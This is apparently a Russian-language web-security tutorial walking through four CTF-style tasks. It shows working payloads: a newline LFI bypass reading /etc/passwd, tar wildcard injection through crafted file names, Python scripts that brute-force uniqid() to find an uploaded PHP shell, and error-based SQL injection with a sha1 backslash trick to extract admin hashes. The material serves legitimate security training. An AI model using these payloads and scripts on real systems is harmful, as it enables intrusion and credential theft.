Шпаргалка

Как находить баги в коде веб-приложений.

Сразу предупрежу, что большинство задач, которые мы сегодня разберем, будут на PHP. Это неспроста — на нем написано подавляющее большинство сайтов и сервисов в Интернете. Так что, несмотря на испорченную репутацию этого языка, вам придется его понять, чтобы серьезно взломать. Теперь, в рамках этого урока, знание PHP необязательно, но, конечно, это будет очень серьезным подспорьем.

Как находить баги в коде веб-приложений.

Впро­чем, боль­шинс­тво уяз­вимос­тей не при­вяза­ны к кон­крет­ному язы­ку или сте­ку тех­нологий, так что, узнав их на при­мере PHP, ты лег­ко смо­жешь экс­плу­ати­ровать подоб­ные баги и в ASP.NET, и в каком‑нибудь Node.JS.

И еще предупреждаю, что задачи, которые мы сегодня будем разбирать, не совсем начального уровня и что к «валенкам» тут совершенно никакого отношения — надо сначала прочитать материал и хоть немного представлять, чем вы хотите заниматься. Если вы можете отличить HTTP от XML и у вас нет вопросов типа «для чего нужен код?», Милости просим!

warning

При­мене­ние матери­алов этой статьи про­тив любой сис­темы без раз­решения ее вла­дель­ца прес­леду­ется по закону.

Сегодня мы разберем несколько задач, которые я решил сам в рамках тренинга. Они могут показаться вам пугающими, но пусть это не пугает вас — всегда есть возможность отточить свои навыки на специализированных хакерских сайтах.Я сей­час говорю о HackTheBox и Root-me, которы­ми поль­зуюсь сам и вся­чес­ки советую дру­гим. Две из сегод­няшних задач взя­ты имен­но отту­да.

Задача 1

Сна­чала я при­веду код, с которым мы сей­час будем работать.

<?php

$file = rawurldecode($_REQUEST['file']);
$file = preg_replace('/^.+[\\\\\\/]/', $file);
include("/inc/{$file}");
?>
 

По сути, тут все­го три стро­ки кода. Казалось бы, где тут может зак­расть­ся уяз­вимость?

Что­бы это понять, давай раз­берем алго­ритм, который здесь реали­зован. Вооб­ще, при ауди­те кода сто­ит уметь читать его пос­троч­но. Тог­да про­ще понять, что имен­но может пой­ти не так.

  1. Сна­чала в перемен­ную $file помеща­ется параметр file из URL-зап­роса. Если URL имел вид https://xakep.ru/example?file=test.php, то $_REQUEST['file'] будет содер­жать test.php.

  2. За­тем резуль­тат валиди­рует­ся. Это нуж­но, что­бы нель­зя было передать пос­ледова­тель­нос­ти вида ../../../../etc/passwd и про­читать чужие фай­лы. Безопас­ность реали­зова­на регуляр­кой: в выход попадет все пос­ле пос­ледне­го сле­ша, то есть оста­нет­ся толь­ко passwd, которо­го, конеч­но, в рабочей пап­ке не ока­жет­ся.

  3. В кон­це очи­щен­ное имя фай­ла под­став­ляет­ся в путь и заг­ружа­ется файл с этим име­нем. Ничего пло­хого.

Итак, что может пой­ти не по пла­ну?

Как ты уже, конеч­но, догадал­ся — проб­лема в фун­кции очис­тки вво­да (которая preg_replace). Давай обра­тим­ся к пер­вой попав­шей­ся шпар­галке по регуляр­ным выраже­ниям.

Шпаргалка

Шпар­галка

Тут пря­мо написан ответ, как обой­ти защиту (под­сказ­ка: ищи спра­ва).

Ви­дишь точ­ку? А шапоч­ку (^)? Та стро­ка чита­ется как «если в начале стро­ки находит­ся любое количес­тво любых сим­волов, кро­ме перено­са стро­ки, и это закан­чива­ется сле­шем, уда­лить соот­ветс­тву­ющую часть стро­ки».

Клю­чевое тут «кро­ме перено­са стро­ки». Если в начале стро­ки будет перенос стро­ки — регуляр­ка не отра­бота­ет и вве­ден­ная стро­ка попадет в include() без филь­тра­ции.

info

На самом деле нор­маль­ные PHP-шни­ки так фай­лы не под­гру­жают. Рас­смот­ренная задача — прос­то при­мер, хотя, по лич­ному опы­ту, даже такие без­надеж­но небезо­пас­ные прог­раммы до сих пор неред­ко встре­чают­ся. В край­нем слу­чае, мож­но поп­робовать най­ти под­домены вида old.company.com или oldsite.company.com, на которых порой кру­тят­ся вер­сии сай­та десяти­лет­ней дав­ности с хрес­томатий­ными уяз­вимос­тями.

Собс­твен­но при­мер чте­ния фай­ла: http://test.host/lfi.php?file=%0a../../../../etc/passwd.

Результат

Ре­зуль­тат

Задача 2

Это за­дач­ка с root-me, где ты, воз­можно, уже видел ее. Но мы все рав­но рас­смот­рим ее под­робнее — она отно­сит­ся к реалис­тичным, и шан­сы встре­тить что‑то подоб­ное в жиз­ни немалень­кие.

В задании нам дает­ся прос­той фай­лооб­менник и про­сят получить дос­туп к панели адми­на.

Интерфейс файлообменника

Ин­терфейс фай­лооб­менни­ка

Пользовательский интерфейс очень прост: есть кнопка для загрузки файла на сервер и просмотра загруженных файлов по прямым ссылкам. Забегая вперед, скажу, что загрузка скриптов в PHP, Bash и др. бесполезна, проверки выполнены правильно, а ошибка в другом.

Об­рати вни­мание на ниж­нюю часть стра­ницы, а точ­нее — на фра­зу «frequent backups: this opensource script is launched every 5 minutes for saving your files». И при­веде­на ссыл­ка на скрипт, вызыва­емый каж­дые пять минут в сис­теме.

Да­вай гля­нем на него прис­таль­нее:

#!/bin/bash

 
BASEPATH=$(dirname `readlink -f "$0"`)
BASEPATH=$(dirname "$BASEPATH")
 
cd "$BASEPATH/tmp/upload/$1"
tar cvf "$BASEPATH/tmp/save/$1.tar" *
 
Ка­залось бы — что тут такого? На парамет­ры ты вли­ять не можешь, а ман­тру при­зыва tar вооб­ще зна­ешь как свои пять паль­цев. А проб­лема в самой ман­тре: тут она написа­на не пол­ностью. Точ­нее, не в том виде, как ее уви­дит сам tar.
 
Что дела­ет звез­дочка? Вмес­то нее bash под­ста­вит име­на всех фай­лов в текущей пап­ке. Вро­де ничего кри­миналь­ного.
 
А давай обра­тим­ся к ма­нуалу на Tar, который нам любез­но пре­дос­тавлен вмес­те с усло­вием задачи.

Интересности в Tar

Ин­терес­ности в Tar

Вот это мес­то пред­став­ляет для нас самый боль­шой инте­рес. Дело в том, что tar име­ет нес­коль­ко осо­бых воз­можнос­тей для гиб­кого монито­рин­га про­цес­са архи­вации со сто­роны. Это дос­тига­ется с помощью так называ­емых чек‑пой­нтов, у которых могут быть свои опре­делен­ные дей­ствия. Одно из дей­ствий — exec=command, которое при дос­тижении чек‑пой­нта выпол­нит коман­ду command с помощью стан­дар­тно­го шел­ла.

Те­перь вспом­ним про звез­дочку: вмес­то нее шелл (bash) под­ста­вит спи­сок всех фай­лов в текущей пап­ке, при этом они могут иметь любые име­на. В том чис­ле такие, которые будут вос­при­няты архи­вато­ром как спе­циаль­ные парамет­ры.

Та­ким обра­зом, нам надо под­сунуть фай­лы с име­нами в виде аргу­мен­тов tar. Я исполь­зовал такие: --checkpoint=1, --checkpoint-action=exec=sh shell.sh (пус­тые) и shell.sh (полез­ная наг­рузка). В shell.sh находит­ся сле­дующий код:

#!/bin/sh

cp ../../../admin/index.php ./
 
Прос­то заголо­вок и коман­да копиро­вания админ­ской панели в текущую пап­ку. Естес­твен­но, тут мог быть реверс‑шелл или еще что‑то, но для решения кон­крет­но этой задачи такая «тяжелая артилле­рия» не нуж­на.
 
Те­перь дожида­емся выпол­нения нашего шел­ла — и уви­дим в окне фай­лооб­менни­ка файл админ‑панели в виде прос­того тек­ста. Оста­лось толь­ко открыть его и най­ти там пароль!
 
Пароль в чистом виде
Па­роль в чис­том виде
 

Задача 3

Тут у нас пла­гин для WordPress, который поз­воля­ет запись аудио и видео.

Я не буду про­сить тебя най­ти уяз­вимость, а сра­зу покажу ее.

Уязвимое место

Уяз­вимое мес­то

Как вид­но из строк 247–251 на скрин­шоте, не пре­дус­мотре­но никаких про­верок на тип или содер­жимое фай­ла — это прос­то клас­сичес­кая заг­рузка!

Есть, прав­да, огра­ниче­ние: файл гру­зит­ся в стан­дар­тную дирек­торию WordPress (/wordpress/wp-content/uploads/{YEAR}/{MONTH}). Это зна­чит, что лис­тинг содер­жимого нам по умол­чанию недос­тупен. А в стро­ке 247 генери­рует­ся слу­чай­ный иден­тифика­тор, который под­став­ляет­ся в начало име­ни фай­ла, то есть обра­тить­ся к /wordpress/wp-content/uploads/2021/01/shell.php уже не вый­дет. Непоря­док!

Но непоря­док не в том, что имя фай­ла меня­ется, а в том, что дела­ется это с помощью фун­кции uniqid(). Обра­тим­ся к до­кумен­тации:

По­луча­ет уни­каль­ный иден­тифика­тор с пре­фик­сом, осно­ван­ный на текущем вре­мени в мик­росекун­дах.

<…>

Вни­мание. Эта фун­кция не гаран­тиру­ет получе­ния уни­каль­ного зна­чения. Боль­шинс­тво опе­раци­онных сис­тем син­хро­низи­рует вре­мя с NTP либо его ана­лога­ми, так что сис­темное вре­мя пос­тоян­но меня­ется. Сле­дова­тель­но, воз­можна ситу­ация, ког­да эта фун­кция вер­нет неуни­каль­ный иден­тифика­тор для про­цес­са/потока

Сме­каешь? Уни­каль­ный иден­тифика­тор, получен­ный с помощью uniqid(), не такой уж уни­каль­ный, и это мож­но про­экс­плу­ати­ровать. Зная вре­мя вызова, мы можем уга­дать воз­вра­щаемое зна­чение uniqid() и узнать реаль­ный путь к фай­лу!
 

Так как PHP — про­ект откры­тый, мы можем под­смот­реть исходни­ки фун­кций стан­дар­тной биб­лиоте­ки. Откры­ваем исходник uniqid() на GitHub, перехо­дим к стро­ке 76 и наб­люда­ем сле­дующее:

uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
 
Что тут про­исхо­дит? А то, что воз­вра­щаемое зна­чение зависит исклю­читель­но от текуще­го вре­мени, которое в рам­ках одной пла­неты впол­не пред­ска­зуемо.
 

Хоть выход­ная пос­ледова­тель­ность и выг­лядит слу­чай­ной, она таковой не явля­ется. Что­бы не быть голос­ловным, вот при­мер име­ни фай­ла, сге­нери­рован­ного таким алго­рит­мом:

5ff21d43dbbab_shell.php

По­лучен­ное зна­чение лег­ко мож­но кон­верти­ровать обратно в дату и вре­мя его генера­ции:

echo date("r", hexdec(substr("5ff21d43dbbab", 0, 8)));
// Sun, 03 Jan 2021 11:38:43 -0800
 
Ко­неч­но, бру­тить все 13 сим­волов — вши заедят, но у нас есть спо­соб получ­ше: мы можем проб­рутить вари­анты на осно­ве вре­мени заг­рузки плюс‑минус пол­секун­ды, что­бы нивели­ровать раз­бежки часов на кли­енте и сер­вере. А мож­но прос­то поверить, что часы у обо­их хос­тов точ­ные, а зна­чит, мож­но про­верить не мил­лион вари­антов (1 секун­ду), а толь­ко вари­анты, воз­можные меж­ду вре­менем отправ­ки зап­роса и вре­менем получе­ния отве­та. На шус­тром канале это будет поряд­ка 300–700 мс, что не так и мно­го.
 

info

Ко­неч­но, не все реаль­ные кей­сы тре­буют глу­боких поз­наний в PHP или дру­гом сер­верном язы­ке. Мно­гие ошиб­ки мож­но най­ти, даже не откры­вая код — с помощью авто­мати­чес­ких ска­неров.

Я наб­росал прос­той скрипт на Python для демонс­тра­ции такой воз­можнос­ти. Его код пред­став­лен ниже:

#!/usr/bin/env python3
 
import requests, time
 
url = 'http://example.host/wordpress/wp-admin/admin-ajax.php'
data = {
'audio-filename': 'file.php',
'action': 'save_record',
'course_id': 'undefined',
'unit_id': 'undefined',
 
}
files = {
'audio-blob': open('pi.php.txt', 'rb')
}
 
print(time.time()) # Время отправки запроса
r = requests.post(url, data=data, files=files)
print(time.time()) # Время ответа
 
print(r.headers)
 

Нам нуж­но запус­тить его нес­коль­ко раз, что­бы подоб­рать минималь­ное вре­мя меж­ду отправ­кой зап­роса и получе­нием отве­та — это поз­волит умень­шить вре­мя перебо­ра.

Так­же нуж­но пом­нить, что раз­бежки все же могут быть, и чис­то на вся­кий слу­чай сто­ит про­верить, нас­коль­ко локаль­ное вре­мя соот­ветс­тву­ет вре­мени на сер­вере. Час­тень­ко оно воз­вра­щает­ся сер­вером в заголов­ке Last-Modified и поз­воля­ет понять, какую величи­ну кор­рекции внес­ти в свои рас­четы.

Те­перь бру­тим:

#!/usr/bin/env python3
 
import sys, time
 
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
 
number = Queue()
 
timestamp = 100000000 # your timestamp here
def main():
try:
hextime = format(timestamp, '8x')
 
while number:
try:
n = number.get(False)
hexusec = format((n), '5x')
print("%s%s" % (hextime, hexusec))
 
except:
exit()
 
except Exception as e:
print(" Exception main", e)
raise
 
try:
for num in range(100000, 900000): # your us here
number.put(num)
 
main()
 
except KeyboardInterrupt:
print("\nCancelled by user!")
 

Как бы еще опти­мизи­ровать перебор?

Ну, во‑пер­вых, питон сам по себе очень мед­ленный и, конеч­но, не смог бы выпол­нить соеди­нение, переда­чу заголов­ков, отправ­ку фай­ла и про­чие мел­кие нак­ладные рас­ходы в тот же момент. А интер­пре­татор PHP на сто­роне сер­вера едва ли момен­таль­но про­верит пра­ва, запус­тит скрипт, отра­бота­ет слу­жеб­ные фун­кции и дой­дет до собс­твен­но уяз­вимого мес­та. Тут мож­но накинуть эдак тысяч сто мик­росекунд без малей­ших потерь.

Во‑вто­рых, выпол­нение uniqid() оче­вид­но про­исхо­дит не в самом кон­це фун­кции. Еще нуж­но вре­мя на обра­бот­ку заг­ружен­ного фай­ла, запись отве­та (заголов­ков), отправ­ку это­го все­го по сети и на обра­бот­ку отве­та интер­пре­тато­ром Python. Тут тоже мож­но поряд­ка 100 000 мик­росекунд вычесть.

Вот так на ров­ном мес­те мы сок­ратили перебор на 200 000 зап­росов. Мно­го это или мало? В моем слу­чае это сок­ратило количес­тво зап­росов еще при­мер­но на треть.

Ос­талось поряд­ка 500 000 вари­антов, которые мож­но переб­рать в пре­делах часа или даже мень­ше — у меня это заняло минут 15.

Те­перь давай напишем еще один скрипт, который и будет искать наш шелл с исполь­зовани­ем это­го алго­рит­ма:

#!/usr/bin/env python3
 
import time
import threading
import requests
from threading import Lock
 
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
 
number = Queue()
thread_count = 500
timestamp = 100000000 # your timestamp here
 
def main():
try:
hextime = format(timestamp, '8x')
 
while not finished.isSet():
try:
n = number.get(False)
hexusec = format((n), '5x')
uniqid = hextime + hexusec
ans = requests.get('http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
 
if ans.status_code == 200:
print('Shell: http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
exit()
 
except Empty:
finished.set()
exit()
 
except Exception as e:
print(" Exception main", e)
raise
 
try:
for num in range(100000, 900000): # your us here, including range limits described
number.put(num)
 
finished = threading.Event()
 
for i in range(thread_count)
t = threading.Thread(target=main)
t.start()
 
except KeyboardInterrupt:
print("\nCancelled by user!")
 

Вот и всё: запус­каешь, через некото­рое вре­мя получа­ешь путь, и хост зах­вачен!

На­вер­няка у тебя воз­ник воп­рос, нель­зя ли как‑то еще усо­вер­шенс­тво­вать этот перебор, потому что 500 тысяч вари­антов — это все рав­но как‑то мно­гова­то? Мож­но, но такого зна­чимо­го уско­рения, как рань­ше, уже не будет. Суть в том, что мож­но идти не от начала про­межут­ка вре­мени к кон­цу, а от середи­ны к кра­ям. По опы­ту, это работа­ет нес­коль­ко быс­трее.

Другой способ

Есть и спо­соб поп­роще. Зак­люча­ется он в сле­дующем: новый путь к фай­лу фор­миру­ется как <стандартная папка загрузок> + <новое имя файла>. При этом новое имя фай­ла рав­но uniqid() + "_" + <имя файла от пользователя>. Валида­ции поль­зователь­ско­го име­ни не про­исхо­дит, так что мы можем в конеч­ном ито­ге зас­тавить перемес­тить файл по пути <папка загрузок> + <случайное значение> + "_/../shell.php", передав в име­ни зна­чение /../shell.php. Теперь наш шелл ста­нет дос­тупен по извес­тно­му пути <путь к текущему wp-upload>/shell.php.

Задача 4

Пос­ледняя на сегод­ня задач­ка — тоже с root-me и тоже из катего­рии реалис­тичных, но замет­но пос­ложнее. Сер­вис Web TV — новей­шая фран­цуз­ская раз­работ­ка в сфе­ре интернет‑телеви­дения. Но нас инте­ресу­ет не новая дешевая тра­гедия, а админка.

Главная страница Web TV. Простите за мой французский

Глав­ная стра­ница Web TV.

Толь­ко — вот незада­ча — Gobuster никаких приз­наков админки не обна­ружил. При­дет­ся изу­чать, что нам дос­тупно. А дос­тупен логин (там фор­ма авто­риза­ции) и ссыл­ка на нерабо­тающий эфир.

Поп­робу­ем залоги­нить­ся и перех­ватить зап­рос на авто­риза­цию с помощью Burp.

Буква З в слове «реальность» означает «защищенность»

Бук­ва З в сло­ве «реаль­ность» озна­чает «защищен­ность»

Зап­рос отправ­ляем в Repeater (пов­торитель). Пусть пока там полежит.

Взгля­нем еще разок на фор­му логина. Какие мыс­ли тебя посеща­ют, ког­да ты видишь фор­му для авто­риза­ции? Конеч­но, SQL-инъ­екция! А давай ткнем туда кавыч­ку. Написа­ли. Отправ­ляем. Хм, ничего не поменя­лось. А как вооб­ще узнать, что что‑то поменя­лось? Смот­ри на заголо­вок Content-Length в отве­те: в нашем слу­чае там при­ходит ров­но 2079 байт, если инъ­екции не было, и, оче­вид­но, при­дет силь­но дру­гой резуль­тат в про­тив­ном слу­чае. Я поп­робовал еще нем­ного, и инъ­екция так прос­то не выяви­лась, так что давай поищем в дру­гом мес­те, а потом вер­немся к это­му зап­росу.

Те­перь пос­мотрим в адресную стро­ку. Похоже, на сер­вере вклю­чен mod_rewrite, пос­коль­ку имен фай­лов не вид­но. Походим нем­ного по сай­ту, запоми­ная вари­анты URL в адресной стро­ке. Наб­люда­ем /page_login, /page_tv, /page_accueil. Зна­чит, /page_ — ско­рее все­го, имя мас­сива. Во вся­ком слу­чае, на моем опы­те это обыч­но так. А если пос­ле /page_ передать что‑то кор­рек­тное, но не ожи­даемое сер­вером?

Я поп­робовал перей­ти на стра­ницу /page_index и получил ошиб­ку как на скри­не ниже.

Ошибка интерпретатора

Ошиб­ка интер­пре­тато­ра

В пер­вом сооб­щении об ошиб­ке вид­на часть пути (corp_pages/fr/index), которая закан­чива­ется на то же, что переда­но в URL пос­ле /page_. Про­верим нашу догад­ку — перей­дем по пути /page_xakep.php.

И дей­стви­тель­но — сайт прос­то под­став­ляет параметр в путь и пыта­ется про­читать несущес­тву­ющий файл xakep.php. Поль­зователь­ский ввод под­став­ляет­ся в путь — зна­чит, у нас есть воз­можность повесе­лить­ся на сер­вере!

Ме­тодом науч­ного тыка был обна­ружен параметр /?action=. Он ока­зал­ся поч­ти такой же по дей­ствию, как /page_. Поп­робу­ем про­читать index.php в кор­не сай­та.

/?action=../../index.php

/?action=../../index.php

Вид­но не все, но если открыть ответ в Burp или даже прос­то прос­мотреть код стра­ницы бра­узе­ром — откры­вает­ся пол­ный исходник. Вот тебе и directory traversal налицо.

Результат обхода каталога

Ре­зуль­тат обхо­да катало­га

Пом­нишь, мы не мог­ли най­ти путь к админке? А на скрин­шоте он есть: имен­но на него будет редирект, ког­да скрипт про­верит логин и пароль.

info

Взгля­нем попод­робнее на фун­кцию safe. Она при­нима­ет некото­рую стро­ку, экра­ниру­ет спец­симво­лы и, опци­ональ­но, уда­ляет спец­симво­лы HTML (если вто­рой параметр равен 1). Экра­ниро­вание спец­симво­лов дела­ется фун­кци­ей addslashes, которая без проб­лем обхо­дит­ся с помощью муль­тибай­товой кодиров­ки, нап­ример китай­ской. Все было бы сов­сем радуж­но, если бы сер­вер под­держи­вал нуж­ную кодиров­ку, но, к сожале­нию, у нас это­го нет.

Да­вай, не отхо­дя от кас­сы, сра­зу и его про­чита­ем — вдруг там что‑нибудь инте­рес­ное есть.

<?php
require_once '../inc/config.php';
 
function decrypt($str, $key) {
$iv = substr( md5("hacker",true), 0, 8 );
return mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv );
}
 
$msg="";
$user="";
if (isset($_GET["logout"])) $_SESSION['logged']=0;
 
if (isset($_GET["user"]) && preg_match("/^[a-zA-Z0-9]+$/",$_GET["user"])){
$user=$_GET["user"];
} else {
$msg="<p>hack detected !</p>";
$_SESSION['logged']=0;
}
 
 
 
if ($_SESSION['logged']==1) {
$Validation="4/lOF/4ZMmdPxlFjZD63nA==";
if ($result = $db->query("SELECT passwd FROM users WHERE login='$user'")) {
if($result->num_rows > 0){
$data = $result->fetch_assoc();
$key=base64_encode($data['passwd']);
$msg=$text['felicitation'].decrypt(base64_decode($Validation),$key);
} else {
$msg="<p>no such user</p>";
$_SESSION['logged']=0;
}
$result->close();
} else{
$msg="<p>ERREUR SQL</p>";
$db->close();
exit();
}
} else {
header("Location: ../index.php");
$db->close();
exit();
}
 
$db->close();
?>
 
 
Код успешно про­читан, и вид­на инте­рес­ная фун­кция decrypt, при­нима­ющая некую стро­ку и ключ.
 
Если вы прочтете код дальше, вы увидите защиту от специальных символов в имени пользователя, затем пароль извлекается из базы данных и расшифровывается вышеуказанной функцией. Казалось бы, это так, но сначала нам нужно узнать имя пользователя, которого у нас еще нет. Забегая вперед: все ошибки этого приложения находятся в двух изученных файлах, других нет.
 

Те­перь, что­бы экс­плу­ати­ровать даль­ше, давай вер­немся к прош­лому фай­лу и рас­смот­рим его код еще раз.

if(isset($_POST['login'],$_POST['pass']) and !empty($_POST['login']) and !empty($_POST['pass']) ) {
 
$passwd=sha1($_POST['pass'],true); # Хеширование
$username=safe($_POST['login']); # Извлечение юзернейма
$sql="SELECT login FROM $table WHERE passwd='$passwd' AND login='$username'";
 
<...>
}
 

Прис­мотрись к вызову фун­кции хеширо­вания: пом­нишь ли ты, что озна­чает вто­рой параметр (true) в фун­кции sha1? Я тоже нет, так что давай пос­мотрим ма­нуал:

Спи­сок парамет­ров

string

Вход­ная стро­ка.

binary

Ес­ли необя­затель­ный аргу­мент binary име­ет зна­чение true, хеш воз­вра­щает­ся в виде бинар­ной стро­ки из 20 сим­волов, ина­че он будет воз­вра­щен в виде 40-сим­воль­ного шес­тнад­цатерич­ного чис­ла.

<…>

То есть вер­нется некото­рая бинар­ная пос­ледова­тель­ность, которая будет рас­позна­на как стро­ка. Нам нуж­но, что­бы пос­ледний байт был равен 5c, что в ASCII рав­но бэк­сле­шу. Тог­да в SQL-зап­росе зак­рыва­ющая кавыч­ка пос­ле пароля будет экра­ниро­вана и мы смо­жем под­ста­вить в логин про­изволь­ный SQL-код! Пос­ле подоб­ной под­ста­нов­ки наш зап­рос может выг­лядеть как‑то так:

$sql="SELECT login FROM $table WHERE passwd='123123'' OR 1=1 -- '";
 

И для это­го нуж­но толь­ко подоб­рать такой сим­вол из муль­тибай­товой кодиров­ки, что­бы его пос­ледний байт был равен 5c. А в нашем слу­чае нуж­но подоб­рать такой пароль, хеш которо­го закан­чивал­ся бы на 5c. Это уже про­ще прос­того — ведь мы не огра­ниче­ны в том, что переда­ем в фун­кцию. Я написал для это­го прос­той скрипт на PHP.

<?php
for ($i = 1; $i <= 10000; $i++) {
$hash = sha1($i);
 
if (substr($hash, 38, 2) == "5c") {
echo $i." - ";
die(sha1($i, true));
}
}
?>
 
На самом деле даже 10 000 вари­антов — овер­килл, потому что 5c — это один байт, а так как выход­ная пос­ледова­тель­ность хеш‑фун­кции псев­дослу­чай­на, то понадо­бит­ся при­мер­но 256 попыток, если не будет дуб­лей. Я же перес­тра­ховал­ся.
 

Вы­пол­нилось все очень быс­тро — подош­ло уже чис­ло 17. Теперь у нас есть «пра­виль­ный» пароль. Нуж­но пос­мотреть, какая будет реак­ция сер­виса. Пом­нишь наш зап­рос на логин в Burp? Под­став­ляй в качес­тве пароля чис­ло 17, а в логин — клас­сичес­кий ORDER BY 1-- (с про­бела­ми на обо­их кон­цах). Ошиб­ки нет, все в поряд­ке. Зна­чит, полей боль­ше, чем одно. Пос­тавим что‑нибудь боль­ше — 111, нап­ример. Выпол­няем — и вот у нас ошиб­ка, зна­чит SQL-инъ­екция работа­ет!

Пе­чаль­но, прав­да, что никако­го резуль­тата из зап­роса не выводит­ся. Как это побороть? Исполь­зовать любые шаб­лоны time-based, boolean-based или error-based.

Мой любимый payload в таких слу­чаях — AND extractvalue(1,concat(0x3a,(select version() from users limit 0,1))). На вся­кий слу­чай заменим про­белы на плю­сы, под­ста­вим в поле логина в Burp и отпра­вим зап­рос. Видим в отве­те сле­дующее:

SQL error : XPATH syntax error: ':5.7.32-0ubuntu0.16.04.1'

Инъ­екция работа­ет, пусть и выводит не боль­ше 31 сим­вола за раз. А нам боль­шего и не надо. Видо­изме­ним инъ­екцию нем­ного, что­бы получить логин:

AND extractvalue(1,concat(0x3a,(select login from users limit 0,1)))

От­вет:

SQL error : XPATH syntax error: ':administrateur'

И теперь пароль:

AND extractvalue(1,concat(0x3a,(select passwd from users limit 0,1)))

И вот он:

SQL error : XPATH syntax error: ':e79c4da4f94b86cba5a81ba39fed083'

Но не все так прос­то. Как ты пом­нишь, дли­на хеша SHA-1 в шес­тнад­цатерич­ной кодиров­ке — 40 сим­волов, а нам вер­нулись 31. Непоря­док! Что­бы это испра­вить, прос­то возь­мем фун­кцию right:

AND extractvalue(1,concat(0x3a,(select right(passwd,20) from users limit 0,1)))

И вот наши пос­ледние 20 сим­волов:

SQL error : XPATH syntax error: ':1ba39fed083dbaf8bce5'

Пол­ный хеш — e79c4da4f94b86cba5a81ba39fed083dbaf8bce5.

Даль­ше нуж­но обой­ти про­вер­ки в logged.php. Пос­ле некото­рых упро­щений и очис­тки его кода от мусора полез­ный вари­ант будет выг­лядеть так:

function decrypt($str, $key) {
$iv = substr(md5("hacker",true), 0, 8);
return mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv);
}
 
$Validation = "4/lOF/4ZMmdPxlFjZD63nA==";
$key = base64_encode('e79c4da4f94b86cba5a81ba39fed083dbaf8bce5');
echo decrypt(base64_decode($Validation), $key);

Это все оста­лось лишь обер­нуть в заголов­ки PHP и запус­тить — и пароль у нас в руках!

Напоминаем, что рабочий процесс — это не рутина, а творческий процесс, который определяет широту вашей мысли. Относитесь к своей работе как к новому вызову, и вы обязательно начнете получать не только удовольствие, но и вдохновение и желание развиваться. Задачи тестировщика очень многогранны: им нужно разобраться в задаче веб-приложения, понять, как оно должно работать, какие задачи решать, какие преимущества принести пользователям, а затем несколько раз перепроверить все, чтобы выпустить проект в мир. Их нужно собирать и дерзать выпускать проекты, которыми может гордиться вся команда =)

 

Click to rate this post!
[Total: 1 Average: 5]

Leave a reply:

Your email address will not be published.